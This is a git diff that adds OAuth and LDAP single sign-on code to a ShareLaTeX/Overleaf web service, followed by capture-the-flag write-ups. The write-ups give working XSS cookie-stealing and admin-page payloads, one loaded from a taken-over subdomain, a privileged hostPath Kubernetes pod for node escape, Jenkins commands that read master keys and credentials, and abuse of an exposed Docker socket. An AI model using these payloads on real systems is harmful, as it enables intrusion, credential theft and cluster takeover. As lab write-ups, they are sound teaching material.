+ "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
+@@ -66194,6 +53105,7 @@
+ "version": "8.4.2",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.2.tgz",
+ "integrity": "sha512-Kbk4Nxyq7/ZWqr/tarI9yIt/+iNNFOjBXEWgTb4ydaNHBNGgvf2QHbS9fdfsndfjFlFwEd4Al+mw83YkaD10ZA==",
++ "devOptional": true,
+ "requires": {}
+ },
+ "x-xss-protection": {
+@@ -66286,7 +53198,8 @@
+ "xpath": {
+ "version": "0.0.5",
+ "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.5.tgz",
+- "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw="
++ "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw=",
++ "dev": true
+ },
+ "xpath.js": {
+ "version": "1.1.0",
+@@ -66343,27 +53256,6 @@
+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+ "dev": true
+ },
+- "yargs": {
+- "version": "17.3.1",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz",
+- "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==",
+- "requires": {
+- "cliui": "^7.0.2",
+- "escalade": "^3.1.1",
+- "get-caller-file": "^2.0.5",
+- "require-directory": "^2.1.1",
+- "string-width": "^4.2.3",
+- "y18n": "^5.0.5",
+- "yargs-parser": "^21.0.0"
+- },
+- "dependencies": {
+- "yargs-parser": {
+- "version": "21.0.0",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz",
+- "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA=="
+- }
+- }
+- },
+ "yargs-parser": {
+ "version": "20.2.4",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz",
+@@ -66431,36 +53323,6 @@
+ "toposort": "^2.0.2"
+ }
+ },
+- "z-schema": {
+- "version": "3.25.1",
+- "resolved": "https://registry.npmjs.org/z-schema/-/z-schema-3.25.1.tgz",
+- "integrity": "sha512-7tDlwhrBG+oYFdXNOjILSurpfQyuVgkRe3hB2q8TEssamDHB7BbLWYkYO98nTn0FibfdFroFKDjndbgufAgS/Q==",
+- "requires": {
+- "commander": "^2.7.1",
+- "core-js": "^2.5.7",
+- "lodash.get": "^4.0.0",
+- "lodash.isequal": "^4.0.0",
+- "validator": "^10.0.0"
+- },
+- "dependencies": {
+- "commander": {
+- "version": "2.20.3",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+- "optional": true
+- },
+- "core-js": {
+- "version": "2.6.12",
+- "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz",
+- "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ=="
+- },
+- "validator": {
+- "version": "10.11.0",
+- "resolved": "https://registry.npmjs.org/validator/-/validator-10.11.0.tgz",
+- "integrity": "sha512-X/p3UZerAIsbBfN/IwahhYaBbY68EN/UQBWHtsbXGT5bfrH/p4NQzUCG1kF/rtKaNpnJ7jAu6NGTdSNtyNIXMw=="
+- }
+- }
+- },
+ "zeparser": {
+ "version": "0.0.5",
+ "resolved": "https://registry.npmjs.org/zeparser/-/zeparser-0.0.5.tgz",
+@@ -66475,11 +53337,6 @@
+ "compress-commons": "^4.1.0",
+ "readable-stream": "^3.6.0"
+ }
+- },
+- "zlib": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/zlib/-/zlib-1.0.5.tgz",
+- "integrity": "sha512-40fpE2II+Cd3k8HWTWONfeKE2jL+P42iWJ1zzps5W51qcTsOUKM5Q5m2PFb0CLxlmFAaUuUdJGc3OfZy947v0w=="
+ }
+ }
+ }
+diff --git a/services/web/app.js b/services/web/app.js
+old mode 100644
+new mode 100755
+diff --git a/services/web/app/src/Features/Authentication/AuthenticationController.js b/services/web/app/src/Features/Authentication/AuthenticationController.js
+index 176162069..446710ca6 100644
+--- a/services/web/app/src/Features/Authentication/AuthenticationController.js
++++ b/services/web/app/src/Features/Authentication/AuthenticationController.js
+@@ -20,6 +20,8 @@ const AsyncFormHelper = require('../Helpers/AsyncFormHelper')
+ const _ = require('lodash')
+ const UserAuditLogHandler = require('../User/UserAuditLogHandler')
+ const AnalyticsRegistrationSourceHelper = require('../Analytics/AnalyticsRegistrationSourceHelper')
++const axios = require('axios')
++const Path = require('path')
+ const {
+ acceptsJson,
+ } = require('../../infrastructure/RequestContentTypeDetection')
+@@ -291,7 +293,70 @@ const AuthenticationController = {
+
+ return doRequest
+ },
++ oauth2Redirect(req, res, next) {
++ res.redirect(`${process.env.OAUTH_AUTH_URL}?` +
++ querystring.stringify({
++ client_id: process.env.OAUTH_CLIENT_ID,
++ response_type: "code",
++ redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
++ }));
++ },
++
++ oauth2Callback(req, res, next) {
++ const code = req.query.code;
++
++ //construct axios body
++ const params = new URLSearchParams()
++ params.append('grant_type', "authorization_code")
++ params.append('client_id', process.env.OAUTH_CLIENT_ID)
++ params.append('client_secret', process.env.OAUTH_CLIENT_SECRET)
++ params.append("code", code)
++ params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback"))
++
++
++ // json_body = {
++ // "grant_type": "authorization_code",
++ // client_id: process.env.OAUTH_CLIENT_ID,
++ // client_secret: process.env.OAUTH_CLIENT_SECRET,
++ // "code": code,
++ // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
++ // }
++
++ axios.post(process.env.OAUTH_ACCESS_URL, params, {
++ headers: {
++ "Content-Type": "application/x-www-form-urlencoded",
+
++ }
++ }).then(access_res => {
++
++ console.log("respond is " + JSON.stringify(access_res.data))
++ authorization_bearer = "Bearer " + access_res.data.access_token
++
++ let axios_get_config = {
++ headers: {
++ "Content-Type": "application/x-www-form-urlencoded",
++ "Authorization": authorization_bearer,
++ },
++ params: access_res.data
++ }
++
++ axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => {
++ console.log("oauth_user: ", JSON.stringify(info_res.data));
++ if (info_res.data.err) {
++ res.json({message: info_res.data.err});
++ } else {
++ AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => {
++ if (error) {
++ res.json({message: error});
++ } else {
++ console.log("real_user: ", user);
++ AuthenticationController.finishLogin(user, req, res, next);
++ }
++ });
++ }
++ });
++ });
++ },
+ requireOauth() {
+ // require this here because module may not be included in some versions
+ const Oauth2Server = require('../../../../modules/oauth2-server/app/src/Oauth2Server')
+diff --git a/services/web/app/src/Features/Authentication/AuthenticationManager.js b/services/web/app/src/Features/Authentication/AuthenticationManager.js
+index 451d2961a..331c16aeb 100644
+--- a/services/web/app/src/Features/Authentication/AuthenticationManager.js
++++ b/services/web/app/src/Features/Authentication/AuthenticationManager.js
+@@ -11,6 +11,8 @@ const {
+ } = require('./AuthenticationErrors')
+ const util = require('util')
+ const HaveIBeenPwned = require('./HaveIBeenPwned')
++const { Client } = require('ldapts');
++const ldapEscape = require('ldap-escape');
+
+ const BCRYPT_ROUNDS = Settings.security.bcryptRounds || 12
+ const BCRYPT_MINOR_VERSION = Settings.security.bcryptMinorVersion || 'a'
+@@ -268,6 +270,65 @@ const AuthenticationManager = {
+ }
+ return true
+ },
++
++ createUserIfNotExist(oauth_user, callback) {
++ const query = {
++ //name: ZHANG San
++ email: oauth_user.email
++ };
++ User.findOne(query, (error, user) => {
++ if ((!user || !user.hashedPassword)) {
++ //create random pass for local userdb, does not get checked for ldap users during login
++ let pass = require("crypto").randomBytes(32).toString("hex")
++ const userRegHand = require('../User/UserRegistrationHandler.js')
++ userRegHand.registerNewUser({
++ email: query.email,
++ first_name: oauth_user.given_name,
++ last_name: oauth_user.family_name,
++ password: pass
++ },
++ function (error, user) {
++ if (error) {
++ return callback(error, null);
++ }
++ user.admin = false
++ user.emails[0].confirmedAt = Date.now()
++ user.save()
++ console.log("user %s added to local library", query.email)
++ User.findOne(query, (error, user) => {
++ if (error) {
++ return callback(error, null);
++ }
++ if (user && user.hashedPassword) {
++ return callback(null, user);
++ } else {
++ return callback("Unknown error", null);
++ }
++ }
++ )
++ })
++ } else {
++ return callback(null, user);
++ }
++ });
++ },
++
++ authUserObj(error, user, query, password, callback) {
++ if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) {
++ console.log("email login for existing user " + query.email)
++ // check passwd against local db
++ bcrypt.compare(password, user.hashedPassword, function (error, match) {
++ if (match) {
++ console.log("Local user password match")
++ AuthenticationManager.login(user, password, callback)
++ }
++ })
++ } else {
++ // No local passwd check user has to be in ldap and use ldap credentials
++ AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user)
++ }
++ return null
++ },
+ }
+
+ AuthenticationManager.promises = {
+diff --git a/services/web/app/src/router.js b/services/web/app/src/router.js
+index 77b0300a9..19a413f80 100644
+--- a/services/web/app/src/router.js
++++ b/services/web/app/src/router.js
+@@ -1304,5 +1304,10 @@ function initialize(webRouter, privateApiRouter, publicApiRouter) {
+
+ webRouter.get('/unsupported-browser', renderUnsupportedBrowserPage)
+
++ webRouter.get('/oauth/redirect', AuthenticationController.oauth2Redirect)
++ webRouter.get('/oauth/callback', AuthenticationController.oauth2Callback)
++ AuthenticationController.addEndpointToLoginWhitelist('/oauth/redirect')
++ AuthenticationController.addEndpointToLoginWhitelist('/oauth/callback')
++
+ webRouter.get('*', ErrorController.notFound)
+ }
+diff --git a/services/web/app/views/user/login.pug b/services/web/app/views/user/login.pug
+index 5db927465..365bf5722 100644
+--- a/services/web/app/views/user/login.pug
++++ b/services/web/app/views/user/login.pug
+@@ -34,3 +34,6 @@ block content
+ span(data-ol-inflight="idle") #{translate("login")}
+ span(hidden data-ol-inflight="pending") #{translate("logging_in")}…
+ a.pull-right(href='/user/password/reset') #{translate("forgot_your_password")}?
++ .form-group.text-center(style="padding-top: 10px")
++ a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px')
++ | Log in via SSO
+diff --git a/services/web/package.json b/services/web/package.json
+index b233c4682..e28167188 100644
+--- a/services/web/package.json
++++ b/services/web/package.json
+@@ -314,6 +314,9 @@
+ "webpack-cli": "^4.9.2",
+ "webpack-dev-server": "^4.7.4",
+ "webpack-merge": "^5.8.0",
+- "worker-loader": "^3.0.8"
++ "worker-loader": "^3.0.8",
++ "axios": "^1.1.2",
++ "ldap-escape": "^2.0.6",
++ "ldapts": "^3.2.4"
+ }
+ }
diff --git a/punkctf/docker_01.md b/punkctf/docker_01.md
new file mode 100644
index 0000000..33562e8
--- /dev/null
+++ b/punkctf/docker_01.md
@@ -0,0 +1,6 @@
+
+Running `docker images`, we see an image named `challenge` that presumably has our flag.
+
+We have unrestricted access to the docker daemon running as root, so we can simply make ourselves root inside the container and be able to access everything. `docker run -it --rm --user=0 challenge sh`.
+
+`cat /root/FLAG`: `punk_{E1U2R3V59WIUZUJI}`
diff --git a/punkctf/docker_02.md b/punkctf/docker_02.md
new file mode 100644
index 0000000..1314d81
--- /dev/null
+++ b/punkctf/docker_02.md
@@ -0,0 +1,4 @@
+
+If we follow the same steps as before, then we see we have the `challenge` image again, but that instead of the flag `/root/flag` just contains a hash of it.
+
+Going back to the host, we can look at the build steps for the `challenge` image with `docker image history challenge`. We see one of the build steps involves echoing the flag hash in to the file, so we can see the flag in plaintext: `punk_{V70P92VJALOS5KMM}`.
diff --git a/punkctf/docker_03.md b/punkctf/docker_03.md
new file mode 100644
index 0000000..9e7ea7a
--- /dev/null
+++ b/punkctf/docker_03.md
@@ -0,0 +1,12 @@
+
+Similar to the last one, we only have a hash of the flag in `/root/flag`.
+If we look at the build steps with `docker image history --no-trunc challenge`, it is now copying the file, hashing it then removing it.
+
+Docker images consist of many layers in a specific order, where each layer modifies the filesystem in some way. Each build instruction maps to at most one layer. When we add the flag file, a new layer is created with it in it, and even if we remove the flag later, that layer is still part of our image.
+
+To get to it, we save the image as a tar (`docker save challenge > challenge.tar`), then extract it.
+
+Each layer has a folder with a long hash, and a `layer.tar` inside that.
+To quickly search through them all, I used this command:`find -iname '*.tar' -exec sh -c 'echo {}; tar -tf {} | grep FLAG' \;` - this prints out the layer hash, followed by all files inside it containing `FLAG`.
+
+We see only one layer has the `FLAG` file, and once we extract it we can read `opt/flag` to get `punk_{53GAEP9LAWODTO0T}`.
diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md
new file mode 100644
index 0000000..1cf0fcf
--- /dev/null
+++ b/punkctf/gtfobins_02.md
@@ -0,0 +1,8 @@
+
+through basic recon you can find kubectl has suid bit
+
+if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/`
+
+then just `wget http://localhost:4444/x/` in another tab
+
+`punk_{FUN9BUQ19K8VCDRT}`
diff --git a/punkctf/jenkins_01.md b/punkctf/jenkins_01.md
new file mode 100644
index 0000000..12e9026
--- /dev/null
+++ b/punkctf/jenkins_01.md
@@ -0,0 +1,5 @@
+
+Since we have access to change the pipeline, we can simply remove the hash part to print the flag in plaintext.
+
+Jenkins tries to be smart and censor it in our logs, so to get around this we cut out the `punk_` part of the flag by piping it to `cut -c 5-`.
+With the prefix added back, we get `punk_{64J846I332MEAGL4}`.
diff --git a/punkctf/jenkins_02.md b/punkctf/jenkins_02.md
new file mode 100644
index 0000000..f4270ad
--- /dev/null
+++ b/punkctf/jenkins_02.md
@@ -0,0 +1,27 @@
+
+We can no longer edit the pipeline directly, but we can add stuff to `webpack.config.js` which is executed as a normal JS file, so we can access `$FLAG` with `process.env.flag`
+
+The flag is filtered out again, I went probably overkill and copied a ROT13 function to obscure it:
+
+```js
+function cipherRot13(str) {
+ str = str.toUpperCase();
+ return str.replace(/[A-Z]/g, rot13);
+
+ function rot13(correspondance) {
+ const charCode = correspondance.charCodeAt();
+ //A = 65, Z = 90
+ return String.fromCharCode(
+ ((charCode + 13) <= 90) ? charCode + 13
+ : (charCode + 13) % 90 + 64
+ );
+
+ }
+}
+
+console.log(cipherRot13(process.env.FLAG))
+
+// rest of webpack.config.js
+```
+
+Reversing the ROT13, we get `punk_{7KN3O181O6W1A6XS}`.
diff --git a/punkctf/jenkins_03.md b/punkctf/jenkins_03.md
new file mode 100644
index 0000000..2ebfbe0
--- /dev/null
+++ b/punkctf/jenkins_03.md
@@ -0,0 +1,24 @@
+
+Jenkins doesn't provide any sort of sandboxing, but it tells you your build runs in `/var/jenkins_home/jobs/...`.
+You can modify the `Jenkinsfile` to enumerate `/var/jenkins_home`, using `find` or whatever else.
+
+From this we're able to read all the config files, including the one for secure jobs in `/var/jenkins_home/jobs/secure-jobs/config.xml`.
+The credentials in here are encrypted, but since we're able to read everything Jenkins can, we can find the key. I found [this](https://github.com/hoto/jenkins-credentials-decryptor) tool to do so.
+
+This `Jenkinsfile` gets everything we need for decryption.
+
+```
+pipeline {
+ agent any
+ stages {
+ stage('build') {
+ steps {
+ sh 'cat /var/jenkins_home/jobs/secure-jobs/config.xml'
+ sh 'cat /var/jenkins_home/secrets/master.key'
+ sh 'cat /var/jenkins_home/secrets/hudson.util.Secret | base64'
+ }
+ }
+ }
+}
+```
+Then we simply feed everything into the decryptor to get `punk_{GBI3BZOA3E8USYUH}`.
diff --git a/punkctf/k8s_01.md b/punkctf/k8s_01.md
new file mode 100644
index 0000000..e2e4c55
--- /dev/null
+++ b/punkctf/k8s_01.md
@@ -0,0 +1,3 @@
+There's a secret in the default namespace, which you can list then get with `kubectl get secret -o yaml`.
+
+After base64 decoding it, you get `punk_{Q53O2RDC1W7VTIWY}`
diff --git a/punkctf/k8s_02.md b/punkctf/k8s_02.md
new file mode 100644
index 0000000..328a3b4
--- /dev/null
+++ b/punkctf/k8s_02.md
@@ -0,0 +1,4 @@
+
+You can no longer get the secret directly, but you can still list all secrets. Run `kubectl get secret -o yaml` to list with all the details, and base64 decode as before.
+
+`punk_{L649VD8GELSAF4G4}`
diff --git a/punkctf/k8s_03.md b/punkctf/k8s_03.md
new file mode 100644
index 0000000..6f643be
--- /dev/null
+++ b/punkctf/k8s_03.md
@@ -0,0 +1,39 @@
+
+Using `kubectl auth can-i --list`, we see that we can't access secrets anymore, but we can create deployments.
+
+Looking at the existing pod, we see that it mounts a secret called `y0u-cant-l1st-m3-s3crets-n0w`, but it only outputs the hash and we can't exec into it in this challenge.
+
+We can create a deployment similar to the existing pod, but without the hashing:
+
+```yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: flag-getter
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: flag-getter
+ template:
+ metadata:
+ labels:
+ app: flag-getter
+ spec:
+ containers:
+ - command:
+ - cat
+ - /flag/flag
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ name: flag-getter
+ volumeMounts:
+ - mountPath: /flag
+ name: flag
+ volumes:
+ - name: flag
+ secret:
+ secretName: y0u-cant-l1st-m3-s3crets-n0w
+```
+
+This will die immediately, but that's fine - just read the pod logs and it will have the flag.
diff --git a/punkctf/k8s_04.md b/punkctf/k8s_04.md
new file mode 100644
index 0000000..3212624
--- /dev/null
+++ b/punkctf/k8s_04.md
@@ -0,0 +1,50 @@
+
+Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now.
+
+These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation).
+
+Here is the pod i created:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: everything-allowed-exec-pod
+ labels:
+ app: pentest
+spec:
+ hostNetwork: true
+ hostPID: true
+ hostIPC: true
+ containers:
+ - name: everything-allowed-pod
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ securityContext:
+ privileged: true
+ volumeMounts:
+ - mountPath: /host
+ name: noderoot
+ command: [ "/bin/sh", "-c", "--" ]
+ args: [ "while true; do sleep 30; done;" ]
+ volumes:
+ - name: noderoot
+ hostPath:
+ path: /
+```
+
+We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`.
+
+Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin:
+
+```
+users:
+- name: kubernetes-admin
+ user:
+ client-certificate-data: <long base64 string>
+ client-key-data: <long base64 string>
+```
+
+We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A`
+
+We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}`
diff --git a/punkctf/k8s_05.md b/punkctf/k8s_05.md
new file mode 100644
index 0000000..a3dcb2c
--- /dev/null
+++ b/punkctf/k8s_05.md
@@ -0,0 +1,38 @@
+
+Using `kubectl auth can-i --list` we find we can only create pods and look at their logs, but not exec into them.
+
+If we try the payload from the previous stage, we also find that there are now pod security policies in effect.
+It mentions we're using the baseline policy, which is described [here](https://kubernetes.io/docs/concepts/security/pod-security-standards/#baseline).
+
+Initially, I created a pod such as below to dump all the secrets being mounted, which included a token for the default service account for the namespace. I was hoping this would have more permissions, but it ended up a dead end.
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: get-sa-token
+spec:
+ containers:
+ - name: get-sa-token
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ securityContext:
+ runAsUser: 0
+ command: [ "/bin/sh", "-c", "--" ]
+ args: [ "while true; do find /var/run/secrets -exec cat {} \\; ; sleep 30; done;" ]
+```
+
+Inspecting the running container though, we can see the IP of the host that runs it is `10.0.27.88`.
+
+We use the built in `pscan` function of busybox to port scan this IP - we do this because sometimes kubelets are misconfigured to allow anonymous access or similar, so we want to investigate. (the exact arg was `"while true; do pscan -P 10000 10.0.27.88; sleep 30; done;"`).
+
+After trying to access the kubelet and failing, the only other open port other than SSH is port 2375.
+Googling for it, this port usually indicates an unauthenticated docker socket.
+
+Unfortunately we don't have a docker CLI available to interact directly, so we need to use their [API](https://docs.docker.com/engine/api/v1.42/) directly, using wget.
+
+The container we create is equivalent to `docker run -v /:/host --user=0 busybox cat /host/etc/kubernetes/admin.conf`, and we then read the output through the logs endpoint. Unfortunately I lost my exact payloads for this :(.
+
+Once we have this, we list the secrets and print them out as before to get the flag.
+
+I found out later this wasn't actually the intended solution - turns out you have permission to edit the namespace so you can just remove the pod security policy and do the same as k8s 4.
diff --git a/punkctf/secrets_5.md b/punkctf/secrets_5.md
new file mode 100644
index 0000000..d7acc2d
--- /dev/null
+++ b/punkctf/secrets_5.md
@@ -0,0 +1,7 @@
+
+
+the interface we're given shows a bunch of leaked secrets at each commit. running `git log --all`, it seems like they are committing then removing each ssh key.
+
+we search for hostname of the system we're on, then get the ssh key and use it to ssh into root@localhost
+
+`punk_{B2J5I5ZJS5XT6E8J}`
diff --git a/punkctf/web_01.md b/punkctf/web_01.md
new file mode 100644
index 0000000..51747c8
--- /dev/null
+++ b/punkctf/web_01.md
@@ -0,0 +1,17 @@
+
+The comment field is vulnerable to injection, so we just inject a script that makes a comment with the document.cookie variable.
+
+```
+<script>
+let data = new URLSearchParams();
+data.append('name', 'Cookies');
+data.append('comment', document.cookie);
+fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+});
+</script>
+```
+
+Then we set our session ID to the admin's, and go to the admin page. `punk_{QRPMGW20G1XF20IH}`
diff --git a/punkctf/web_02.md b/punkctf/web_02.md
new file mode 100644
index 0000000..a36bb47
--- /dev/null
+++ b/punkctf/web_02.md
@@ -0,0 +1,23 @@
+
+We can still inject script tags into this comments field, but we can't embed scripts into them, because the CSP (Content Security POlicy) only allows us to load scripts from `*.<random-numbers>.ctf.one.dr.punksecurity.cloud`.
+
+Running the command they gave for subdomain takeover scanning we find that `docs.<...>` points to GitHub Pages, so we can set up a simple GitHub pages repo and use their subdomain to host whatever we want. `payload.js`:
+
+```
+fetch('/admin').then(r => r.text()).then(d => {
+ let data = new URLSearchParams();
+ data.append('name', 'admin page');
+ data.append('comment', d);
+ fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+ });
+})
+```
+
+Then our comment just loads this script:
+
+```
+<script src="http://docs.47f325c9-f4c.ctf.one.dr.punksecurity.cloud/payload.js"></script>
+```
diff --git a/punkctf/web_03.md b/punkctf/web_03.md
new file mode 100644
index 0000000..a1d2e1e
--- /dev/null
+++ b/punkctf/web_03.md
@@ -0,0 +1,15 @@
+
+The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover.
+
+```
+fetch('/admin').then(r => r.text()).then(d => {
+ let data = new URLSearchParams();
+ data.append('name', 'admin page');
+ data.append('comment', d);
+ fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+ });
+})
+```
diff --git a/punkctf/web_04.md b/punkctf/web_04.md
new file mode 100644
index 0000000..f0cffaa
--- /dev/null
+++ b/punkctf/web_04.md
@@ -0,0 +1,7 @@
+
+Now our input sanitises out script fields, however it still allows us to make images.
+We use the normal technique of putting a bad image url in them, then adding js in the onerror attribute, with the same JS as `XSS - Medium`.
+
+```
+<img src=x onerror="fetch('/admin').then(r => r.text()).then(d => {let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data });})">
+```